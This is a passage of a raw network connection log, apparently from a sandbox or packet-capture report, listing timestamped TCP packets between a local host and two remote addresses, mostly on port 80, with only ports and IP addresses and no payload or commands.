Dec 10, 2024 06:38:29.478919983 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.478957891 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.479839087 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.480005026 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.480050087 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.480870008 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.480993032 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.481035948 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.481945992 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.482038021 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.482078075 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.482938051 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.483053923 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.483098984 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.483968019 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.484055042 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.484100103 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.484577894 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.484987020 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.485106945 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.485148907 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.486027956 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.486140966 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.486176968 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.487066031 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.487175941 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.487217903 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.488090992 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.488149881 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.488193035 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.500983000 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.501966000 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.504537106 CET	443	49758	20.198.119.84	192.168.2.6
Dec 10, 2024 06:38:29.504596949 CET	49758	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:38:29.518110037 CET	49758	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:38:29.518142939 CET	443	49758	20.198.119.84	192.168.2.6
Dec 10, 2024 06:38:29.518333912 CET	443	49758	20.198.119.84	192.168.2.6
Dec 10, 2024 06:38:29.521064043 CET	49758	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:38:29.521171093 CET	49758	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:38:29.521178961 CET	443	49758	20.198.119.84	192.168.2.6
Dec 10, 2024 06:38:29.521303892 CET	49758	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:38:29.563330889 CET	443	49758	20.198.119.84	192.168.2.6
Dec 10, 2024 06:38:29.608644962 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.608727932 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.608784914 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.609107971 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.609191895 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.609298944 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.609957933 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.610058069 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.610115051 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.610812902 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.630131006 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.630160093 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.630225897 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.630361080 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.630409956 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.630482912 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.631273985 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.631336927 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.631367922 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.632180929 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.632227898 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.632272005 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.632771015 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.632822037 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.632862091 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.633651018 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.633697987 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.633713961 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.634517908 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.634567976 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.634785891 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.635416031 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.635473967 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.635489941 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.636270046 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.636341095 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.636382103 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.637150049 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.637221098 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.637278080 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.638009071 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.638051987 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.638118029 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.638915062 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.638967037 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.639168024 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.639787912 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.639827967 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.639858961 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.640695095 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.640748978 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.640779018 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.641557932 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.641619921 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.641634941 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.642405987 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.642446041 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.642505884 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.643307924 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.643358946 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.643393040 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.644182920 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.644228935 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.644263029 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.645117998 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.645164967 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.645248890 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.645947933 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.645997047 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.646012068 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.646823883 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.646863937 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.646990061 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.647778988 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.647845030 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.647877932 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.648576975 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.648626089 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.648641109 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.649445057 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.649497032 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.649554014 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.650310040 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.650372028 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.650423050 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.651180983 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.651246071 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.651288986 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.652096987 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.652153969 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.652216911 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.652946949 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.652995110 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.653018951 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.653872013 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.653918028 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.653928041 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.654737949 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.654788017 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.654798985 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.655622005 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.655672073 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.655680895 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.656476021 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.656536102 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.656558990 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.657360077 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.657422066 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.657490015 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.658232927 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.658278942 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.658325911 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.659106970 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.659157038 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.659276009 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.659975052 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.660020113 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.660099030 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.660860062 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.660918951 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.660969019 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.661744118 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.661798954 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.661873102 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.662621021 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.662679911 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.662709951 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.663477898 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.663541079 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.663583994 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.664370060 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.664418936 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.664463997 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.665276051 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.665324926 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.665349960 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.666134119 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.666198969 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.666224003 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.667022943 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.667064905 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.667196989 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.667901993 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.667946100 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.667980909 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.668798923 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.668844938 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.668889999 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.669661999 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.669738054 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.669749975 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.670535088 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.670588017 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.670607090 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.671400070 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.671442032 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.671513081 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.672275066 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.672322035 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.672388077 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.673151016 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.673216105 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.800818920 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.800935030 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.801001072 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.801237106 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.801362038 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.801412106 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.802135944 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.802239895 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.802315950 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.803004026 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.822454929 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.822527885 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.822541952 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.822901964 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.822948933 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.823004007 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.823760986 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.823812962 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.823854923 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.824625015 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.824675083 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.824697018 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.825501919 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.825575113 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.825614929 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.826385021 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.826438904 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.826488972 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.827267885 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.827316999 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.827390909 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.828140974 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.828191996 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.828246117 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.829019070 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.829066038 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.829093933 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.829904079 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.829961061 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.829971075 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.830761909 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.830806971 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.830862045 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.831651926 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.831696987 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.831748009 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.832513094 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.832555056 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.832653046 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.833421946 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.833467007 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.833523035 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.834291935 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.834342003 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.834408045 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.835216999 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.835261106 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.835277081 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.836085081 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.836124897 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.836195946 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.837080956 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.837094069 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.837132931 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.837779999 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.837829113 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.837872028 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.838695049 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.838747978 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.838785887 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.839560986 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.839611053 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.839626074 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.840430975 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.840483904 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.840519905 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.841317892 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.841368914 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.841404915 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.842197895 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.842245102 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.842295885 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.843086004 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.843131065 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.843154907 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.843935013 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.843991995 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.844053984 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.844825983 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.844877005 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.844907045 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.845701933 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.845748901 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.845791101 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.846584082 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.846633911 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.846681118 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.847464085 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.847510099 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.847569942 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.848347902 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.848412037 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.848562002 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.849231958 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.849273920 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.849344969 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.850214958 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.850228071 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.850260019 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.851026058 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.851073027 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.851105928 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.851874113 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.851917028 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.851946115 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.852749109 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.852792978 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.852807999 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.853607893 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.853653908 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.853673935 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.854614973 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.854660988 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.854682922 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.855453014 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.855501890 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.855525017 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.856241941 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.856286049 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.856363058 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.857136011 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.857182026 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.857208967 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.858063936 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.858134031 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.858149052 CET	80	49747	185.215.113.16	192.168.2.6
